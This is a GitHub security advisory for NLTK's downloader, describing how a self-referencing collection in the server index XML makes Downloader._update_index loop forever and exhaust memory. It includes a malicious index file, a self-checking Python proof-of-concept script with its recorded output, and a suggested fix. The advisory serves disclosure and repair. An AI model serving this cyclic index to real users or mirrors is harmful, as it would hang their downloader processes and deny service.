{"id":"GHSA-pcm8-fqjx-rvx8","summary":"NLTK: Downloader cyclic collection indices cause an infinite closure walk","details":"\u003e **affected**: PyPI `nltk` `\u003e= 3.6.7` — `nltk.downloader` index parsing (`Downloader._update_index`)\n\u003e **dynamically reproduced**: `nltk` `3.6.7` (4/4 checks), `3.9.2` (4/4), `3.10.3` (4/4), and `develop` `6818767b9` (4/4)\n\n---\n\n_Source references (`nltk/downloader.py:NNN`) are to commit `6818767b9` (`develop`, `v3.10.3-15-g6818767b9`). The `v3.10.3` tag and the released `3.10.3` wheel carry the identical code at the identical line numbers (the vulnerable closure BFS sits at `downloader.py:1300-1310`). Dynamically verified wheels additionally show the same defect at `downloader.py:972` (`3.9.2`) and `downloader.py:987` (`3.6.7`)._\n\n### Summary\n\n`Downloader._update_index` (`nltk/downloader.py:1253-1313`) is the mandatory first step of every downloader operation (`download()`, `info()`, `packages()`, `collections()`, `list()`, `status()`). After replacing each `\u003citem ref=\"…\"\u003e` string with the actual `Collection`/`Package` object (`downloader.py:1285-1290`), it computes each collection's recursive package closure with a breadth-first walk that has **no visited set and no depth cap**:\n\n```python\n# nltk/downloader.py:1300-1310\nfor collection in self._collections.values():\n    packages = {}\n    queue = [collection]\n    for child in queue:\n        if isinstance(child, Collection):\n            queue.extend(child.children)\n        elif isinstance(child, Package):\n            packages[child.id] = child\n    collection.packages = packages.values()\n```\n\n**A self-referencing or mutually-referencing index — e.g. `\u003ccollection id=\"a\"\u003e\u003citem ref=\"a\"/\u003e\u003c/collection\u003e` — turns `a.children` into an object-level cycle, and the `for child in queue: queue.extend(child.children)` loop appends to the very list it is iterating, so the queue grows forever.** The function never returns: CPU spins at 100% and memory grows without bound until the process is killed or the host runs out of memory. The identical finite input (one collection containing one package) completes in ~0.2 s on the control index, so the input is perfectly ordinary in size — only its self-reference is abnormal, and nothing validates it.\n\n### Details\n\nRoot cause is the combination of three unguarded steps:\n\n1. `Collection.fromxml` (`nltk/downloader.py:362-369`) stores each `\u003citem ref=\"…\"\u003e` attribute verbatim as a string. It never checks whether a ref targets the collection's own id, or participates in a reference cycle.\n2. `_update_index` (`nltk/downloader.py:1285-1290`) replaces those ref strings with the live objects from `self._collections` / `self._packages`. A self- or mutual-reference therefore becomes an object-level cycle in `children`.\n3. The closure walk (`nltk/downloader.py:1300-1310`) iterates `for child in queue` while doing `queue.extend(child.children)` inside the loop. Python's list iterator consumes elements appended during iteration, so with a cycle the iterator and the queue length advance in lockstep forever. There is no `visited` set, no node-count cap, and no cycle detection.\n\nThe input is the data-server index that the downloader is designed to fetch and trust: `_update_index` pulls it with `safe_parse(urlopen(self._url))` (`nltk/downloader.py:1269-1271`) and parses `\u003ccollections\u003e/\u003ccollection\u003e` elements with no structural validation. The index URL is a user-configurable product feature (`server_index_url` constructor argument, CLI `-u` / `--url` at `downloader.py:3052-3058` — the option's `dest` is `server_index_url` — plus `NLTK_DOWNLOAD_URL` and the Shell/GUI \"Set Server URL\"), so an operator who uses a third-party mirror, or whose configured mirror is compromised, delivers the malicious index into exactly this code path on the next download or query.\n\n### PoC\n\nThe self-checking reproduction script embedded below runs the attack against a `file://`-hosted index (no network server needed; the hardened `nltk.pathsec.urlopen` accepts local `file://` URLs) and a matching acyclic control index, in **separate child processes under an address-space cap (`RLIMIT_AS`)**. That is the key to demonstrating the vulnerability safely and precisely: the control process completes under the cap, while the attack process — the same function, the same caller, the same finite 2-entry index — cannot finish and is aborted by `MemoryError` at `queue.extend(child.children)`, proving both the hang (the function never returns) and the unbounded memory growth (a 2-entry index growing until the address-space cap is exhausted). Without the cap the loop simply runs forever.\n\n**Scope note**: dynamically verified on the released `3.6.7`, `3.9.2`, and `3.10.3` wheels and on `develop` `6818767b9`. `3.6.0`–`3.6.6` share the identical BFS code path (verified statically at the tag) but were not run; the downloader tool predates `3.6` and earlier releases were not assessed.\n\nEnvironment for the recorded run: CPython 3.10.12 on Linux; the script defaults to a 512 MiB address-space cap per child and a 60 s hard timeout. All four version runs pass 4/4 checks.\n\nLive transcript (recorded run on the `nltk` `3.10.3` wheel; the `3.6.7`, `3.9.2`, and `develop` `6818767b9` runs produce the same 4/4 result, differing only in the `downloader.py` line number in the traceback — `987`, `972`, and `1305` respectively — and the elapsed time):\n\n```\n[PASS] precondition: cyclic index has a self-referencing \u003ccollection\u003e  (ref='a' inside \u003ccollection id='a'\u003e)\n[PASS] precondition: acyclic control index references only packages\n[control] returned rc=0 in 0.2s\n[PASS] control: Downloader.packages() returned (no hang)\n[PASS] control: _packages parsed = ['p1']\n[PASS] control: collection 'a' closure = ['p1'] (finite, as documented)\n[PASS] control: acyclic index completes and yields the documented finite closure  (rc=0)\n[attack] rc=1 after 6.6s\n[attack] entering Downloader.packages() on the self-referencing index ...\nTraceback (most recent call last):\n  File \"\u003cstring\u003e\", line 38, in \u003cmodule\u003e\n  File \"nltk/downloader.py\", line 627, in packages\n    self._update_index()\n  File \"nltk/downloader.py\", line 1305, in _update_index\n    queue.extend(child.children)\nMemoryError\n[PASS] attack: self-referencing index is not completed -- process aborted by the 512 MiB address-space cap (unbounded queue growth)  (rc=1, MemoryError)\nnltk under test: 3.10.3\nRESULT 4/4 checks passed, 0 failed\n```\n\nThe malicious index is exactly:\n\n```xml\n\u003cindex\u003e\n  \u003cpackages\u003e\n    \u003cpackage id=\"p1\" name=\"Sample corpus\" subdir=\"corpora/p1\"\n             url=\"http://example.invalid/p1.zip\" unzip=\"0\" size=\"0\" unzipped_size=\"0\"/\u003e\n  \u003c/packages\u003e\n  \u003ccollections\u003e\n    \u003ccollection id=\"a\" name=\"Cyclic collection\"\u003e\n      \u003citem ref=\"a\"/\u003e\n      \u003citem ref=\"p1\"/\u003e\n    \u003c/collection\u003e\n  \u003c/collections\u003e\n\u003c/index\u003e\n```\n\n### Impact\n\n- **Type**: CWE-835 / CWE-400 — denial of service. A single fetch of a cyclic index hangs the downloader process with unbounded CPU and memory consumption; no confidentiality or integrity impact.\n- **Who is impacted**: any deployment that uses `nltk.downloader` (directly, via `nltk.download()`, or through the Shell/GUI) against an index URL it does not fully control — third-party mirrors, internal mirrors, or the default GitHub-hosted index if it is ever compromised or MITM'd. Every entry point (`download()`, `info()`, `packages()`, `collections()`, `status()`) funnels through `_update_index` and is blocked.\n- **Attacker requirements**: ability to serve an index XML at a URL the victim configures (operator error, malicious mirror, compromised/CDN-poisoned index host, or traffic interception). The victim is only required to use the URL once; the hang then recurs on every downloader operation until the index is replaced. No privileges and no interaction beyond the initial URL configuration are required.\n- **Effect**: the process is permanently wedged in the closure BFS — 100% CPU and monotonically growing memory until OOM-killed. With the default 60-minute index refresh, merely running `nltk.download()` in a script or service turns a single poisoned index into an unresolvable hang.\n\n**Suggested fix**: add a `visited` set to the closure BFS so each `Collection` is expanded at most once (a cycle then contributes its packages once instead of looping), e.g.:\n\n```python\nfor collection in self._collections.values():\n    packages = {}\n    queue = [collection]\n    seen = set()\n    for child in queue:\n        if isinstance(child, Collection):\n            if child.id in seen:\n                continue\n            seen.add(child.id)\n            queue.extend(child.children)\n        elif isinstance(child, Package):\n            packages[child.id] = child\n    collection.packages = packages.values()\n```\n\nDefense-in-depth: cap the number of expanded nodes (or detect and refuse cyclic `ref` chains in `Collection.fromxml` / during the ref-replacement at `downloader.py:1285-1290`) so malformed or hostile indexes are rejected at parse time rather than at walk time. Add a regression test that serves a self-referencing collection index and asserts `packages()`/`info()` terminate and either skip or reject the cycle.\n\n---\n\n### Reproduction script (self-contained)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-checking reproduction: a cyclic collection index makes\n``nltk.downloader.Downloader._update_index`` loop forever and exhaust memory.\n\nAttack: an index XML whose ``\u003ccollection\u003e`` references itself (or a mutual\ncycle) becomes an object-level cycle when ``_update_index`` replaces ``ref``\nstrings with real ``Collection`` objects. The package-closure walk\n(``for child in queue: ... queue.extend(child.children)``) has no visited set\nand no depth cap, so the queue grows forever and the function never returns.\n\nControls:\n  * an acyclic index of the same shape completes and yields the expected\n    closure (the same function, the same caller, under the same memory cap);\n  * the attack never returns normally: it either keeps running past a hard\n    timeout (observed hang) or is aborted by the child's address-space cap\n    (unbounded memory growth) -- in both cases the exact finite input that the\n    control handles instantly cannot be completed.\n\nUsage:\n  python3 repro_nltk_downloader_cyclic_index.py [MEMCAP_MIB]\n\nEnvironment:\n  NLTK_WHEEL   path to an ``nltk`` wheel. If ``import nltk`` fails, the wheel is\n               installed into a scratch dir and put on PYTHONPATH for the\n               verification children.\n  NLTK_TIMEOUT  hard timeout seconds for each child (default: 60).\n  MEMCAP_MIB    address-space cap per child in MiB (default: 512); can also be\n               passed as the first positional argument.\n\"\"\"\n\nimport os\nimport resource\nimport subprocess\nimport sys\nimport tempfile\nimport textwrap\nimport time\nfrom xml.etree import ElementTree\n\ndef _default_memcap():\n    if len(sys.argv) \u003e 1 and sys.argv[1] != \"--child\":\n        raw = sys.argv[1]\n    else:\n        raw = os.environ.get(\"MEMCAP_MIB\", \"512\")\n    try:\n        value = int(raw)\n    except (TypeError, ValueError):\n        print(\"warning: invalid MEMCAP_MIB %r, falling back to 512\" % raw, file=sys.stderr)\n        return \"512\"\n    return str(value) if value \u003e 0 else \"512\"\n\n\nMEMCAP_MIB = int(_default_memcap())\nCHILD_TIMEOUT = float(os.environ.get(\"NLTK_TIMEOUT\", \"60\"))\n\nCYCLIC_INDEX = \"\"\"\u003c?xml version=\"1.0\"?\u003e\n\u003cindex\u003e\n  \u003cpackages\u003e\n    \u003cpackage id=\"p1\" name=\"Sample corpus\" subdir=\"corpora/p1\"\n             url=\"http://example.invalid/p1.zip\" unzip=\"0\" size=\"0\" unzipped_size=\"0\"/\u003e\n  \u003c/packages\u003e\n  \u003ccollections\u003e\n    \u003ccollection id=\"a\" name=\"Cyclic collection\"\u003e\n      \u003citem ref=\"a\"/\u003e\n      \u003citem ref=\"p1\"/\u003e\n    \u003c/collection\u003e\n  \u003c/collections\u003e\n\u003c/index\u003e\n\"\"\"\n\nACYCLIC_INDEX = \"\"\"\u003c?xml version=\"1.0\"?\u003e\n\u003cindex\u003e\n  \u003cpackages\u003e\n    \u003cpackage id=\"p1\" name=\"Sample corpus\" subdir=\"corpora/p1\"\n             url=\"http://example.invalid/p1.zip\" unzip=\"0\" size=\"0\" unzipped_size=\"0\"/\u003e\n  \u003c/packages\u003e\n  \u003ccollections\u003e\n    \u003ccollection id=\"a\" name=\"Acyclic collection\"\u003e\n      \u003citem ref=\"p1\"/\u003e\n    \u003c/collection\u003e\n  \u003c/collections\u003e\n\u003c/index\u003e\n\"\"\"\n\nCHILD_DRIVER = r\"\"\"\nimport os\nimport resource\nimport sys\n\nimport nltk\nimport nltk.data as nltk_data\n\nmode, url, workdir = sys.argv[1], sys.argv[2], sys.argv[3]\n\n# Allow the local index file to be read under hardened pathsec (ENFORCE mode).\nnltk_data.path.append(workdir)\n\ncap = int(os.environ[\"NLTK_CHILD_MEMCAP_MIB\"]) * 1024 * 1024\nresource.setrlimit(resource.RLIMIT_AS, (cap, cap))\n\nfrom nltk.downloader import Downloader\n\ndownloader = Downloader(server_index_url=url)\n\nif mode == \"control\":\n    # _update_index() runs to completion here; the acyclic closure is finite.\n    packages = list(downloader.packages())\n    ids = sorted(p.id for p in packages)\n    print(\"[PASS] control: Downloader.packages() returned (no hang)\")\n    assert ids == [\"p1\"], ids\n    print(\"[PASS] control: _packages parsed = %r\" % ids)\n    col = next(c for c in downloader.collections() if c.id == \"a\")\n    closure = sorted(p.id for p in col.packages)\n    assert closure == [\"p1\"], closure\n    print(\"[PASS] control: collection 'a' closure = %r (finite, as documented)\" % closure)\n    sys.exit(0)\nelif mode == \"attack\":\n    # This call drives _update_index -\u003e the collection-closure BFS. The index\n    # collection self-references itself, so the BFS never terminates; the queue\n    # keeps growing until the address-space cap aborts the process.\n    print(\"[attack] entering Downloader.packages() on the self-referencing index ...\")\n    _ = downloader.packages()\n    print(\"[FAIL] attack: Downloader.packages() RETURNED -- cycle was not triggered\")\n    sys.exit(2)\nelse:\n    print(\"[FAIL] unknown mode %r\" % mode)\n    sys.exit(2)\n\"\"\"\n\n\ndef build_site_env(workdir):\n    \"\"\"Return (env, site_path_or_None) so the children can import nltk.\"\"\"\n    probe = subprocess.run(\n        [sys.executable, \"-c\", \"import nltk\"],\n        capture_output=True,\n    )\n    if probe.returncode == 0:\n        return dict(os.environ), None\n    wheel = os.environ.get(\"NLTK_WHEEL\")\n    if not wheel:\n        return None, None\n    site = os.path.join(workdir, \"site\")\n    subprocess.run(\n        [sys.executable, \"-m\", \"pip\", \"install\", \"--quiet\", \"--target\", site, wheel],\n        check=True,\n    )\n    env = dict(os.environ)\n    env[\"PYTHONPATH\"] = site + (os.pathsep + env[\"PYTHONPATH\"] if env.get(\"PYTHONPATH\") else \"\")\n    return env, site\n\n\ndef run_child(env, script, mode, url, workdir):\n    cmd = [sys.executable, script, \"--child\", mode, url, workdir]\n    start = time.monotonic()\n    try:\n        proc = subprocess.run(\n            cmd,\n            env=env,\n            capture_output=True,\n            text=True,\n            timeout=CHILD_TIMEOUT,\n        )\n        timed_out = False\n    except subprocess.TimeoutExpired as exc:\n        proc = exc\n        timed_out = True\n    elapsed = time.monotonic() - start\n    stdout = proc.stdout if hasattr(proc, \"stdout\") else \"\"\n    stderr = proc.stderr if hasattr(proc, \"stderr\") else \"\"\n    return timed_out, getattr(proc, \"returncode\", None), stdout, stderr, elapsed\n\n\ndef main():\n    results = []\n\n    def check(name, cond, detail=\"\"):\n        results.append(bool(cond))\n        print(\"[%s] %s%s\" % (\"PASS\" if cond else \"FAIL\", name, (\"  (%s)\" % detail if detail else \"\")))\n\n    with tempfile.TemporaryDirectory(prefix=\"nltk_cycle_\") as workdir:\n        cyclic_path = os.path.join(workdir, \"index_cyclic.xml\")\n        acyclic_path = os.path.join(workdir, \"index_acyclic.xml\")\n        with open(cyclic_path, \"w\") as fh:\n            fh.write(CYCLIC_INDEX)\n        with open(acyclic_path, \"w\") as fh:\n            fh.write(ACYCLIC_INDEX)\n        cyclic_url = \"file://\" + cyclic_path\n        acyclic_url = \"file://\" + acyclic_path\n\n        # --- Input modeling preconditions -------------------------------\n        cyc = ElementTree.parse(cyclic_path).getroot()\n        col = cyc.find(\"collections/collection\")\n        check(\n            \"precondition: cyclic index has a self-referencing \u003ccollection\u003e\",\n            col is not None and col.get(\"id\") == \"a\"\n            and any((it.get(\"ref\") == \"a\" for it in col.findall(\"item\"))),\n            \"ref='a' inside \u003ccollection id='a'\u003e\",\n        )\n        acy = ElementTree.parse(acyclic_path).getroot()\n        cola = acy.find(\"collections/collection\")\n        check(\n            \"precondition: acyclic control index references only packages\",\n            cola is not None and [it.get(\"ref\") for it in cola.findall(\"item\")] == [\"p1\"],\n        )\n\n        env, site = build_site_env(workdir)\n        if env is None:\n            print(\"FAIL: nltk is not importable and NLTK_WHEEL is unset\", file=sys.stderr)\n            return 1\n        child_env = dict(env)\n        child_env[\"NLTK_CHILD_MEMCAP_MIB\"] = str(MEMCAP_MIB)\n\n        # --- Control: acyclic index completes under the same memory cap ---\n        t, rc, out, err, el = run_child(child_env, __file__, \"control\", acyclic_url, workdir)\n        print(\"[control] returned rc=%s in %.1fs%s\" % (rc, el, \" (TIMEOUT)\" if t else \"\"))\n        if out:\n            print(out, end=\"\")\n        if err:\n            print(err, end=\"\")\n        check(\n            \"control: acyclic index completes and yields the documented finite closure\",\n            (not t) and rc == 0 and \"collection 'a' closure = ['p1']\" in (out + err),\n            \"rc=%s\" % rc,\n        )\n\n        # --- Attack: cyclic index must NOT complete ----------------------\n        t, rc, out, err, el = run_child(child_env, __file__, \"attack\", cyclic_url, workdir)\n        print(\"[attack] rc=%s after %.1fs%s\" % (rc, el, \" (still running at timeout)\" if t else \"\"))\n        if out:\n            print(out, end=\"\")\n        if err:\n            print(err, end=\"\")\n        if t:\n            check(\n                \"attack: self-referencing index hangs _update_index past the %ss timeout\" % CHILD_TIMEOUT,\n                True,\n                \"process still running, queue growing unboundedly\",\n            )\n        elif rc is not None and rc != 0:\n            memory = \"MemoryError\" in (out + err) or \"MemoryError\" in err\n            check(\n                \"attack: self-referencing index is not completed -- process aborted by the %s MiB address-space cap (unbounded queue growth)\" % MEMCAP_MIB,\n                memory,\n                \"rc=%s, %s\" % (rc, \"MemoryError\" if memory else \"non-zero exit\"),\n            )\n        else:\n            check(\n                \"attack: self-referencing index hangs _update_index (vulnerability reproduced)\",\n                False,\n                \"function returned -- cyclic input was handled\",\n            )\n\n        # --- Version banner ---------------------------------------------\n        ver_out = subprocess.run(\n            [sys.executable, \"-c\", \"import nltk; print(nltk.__version__)\"],\n            env=env,\n            capture_output=True,\n            text=True,\n        ).stdout.strip()\n        print(\"nltk under test: %s\" % (ver_out or \"unknown\"))\n\n    passed = sum(results)\n    failed = len(results) - passed\n    print(\"RESULT %d/%d checks passed, %d failed\" % (passed, len(results), failed))\n    return 0 if failed == 0 else 1\n\n\nif __name__ == \"__main__\":\n    if len(sys.argv) \u003e= 2 and sys.argv[1] == \"--child\":\n        os.execv(sys.executable, [sys.executable, \"-c\", textwrap.dedent(CHILD_DRIVER)] + sys.argv[2:])\n    sys.exit(main())\n```\n\n\n## Fix status (2026-09-28)\n\nStatus: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).\n\nPR: #3767 \"Prevent infinite loop from cyclic collection indices\" (ekaf), merged 2026-08-20, merge commit d2eb09a5b on develop. Fix commit: b77d329db (the downloader walks the collection closure with nltk.util.acyclic_breadth_first).\n\nProbe: nltk/test/unit/security_probes/ghsa_pcm8_fqjx_rvx8.py (added in d53d0b790 on that PR); verdict on develop 2fa3f48fe: FIXED (cyclic collection graphs terminate: self, mutual, chain, diamond).\n\nRelease: none yet; no release tag contains b77d329db.","aliases":["CVE-2026-128140"],"modified":"2026-11-20T00:00:04.063068184Z","published":"2026-11-19T23:54:33Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-11-19T23:54:33Z","nvd_published_at":"2026-11-19T18:18:06Z","cwe_ids":["CWE-835"]},"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-pcm8-fqjx-rvx8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128140"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3767"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/b77d329db934711e053520588b22b4ac73539fa2"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.4"}],"affected":[{"package":{"name":"nltk","ecosystem":"PyPI","purl":"pkg:pypi/nltk"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.6.7"},{"fixed":"3.10.4"}]}],"versions":["3.10.0","3.10.1","3.10.2","3.10.3","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-pcm8-fqjx-rvx8/GHSA-pcm8-fqjx-rvx8.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"}]}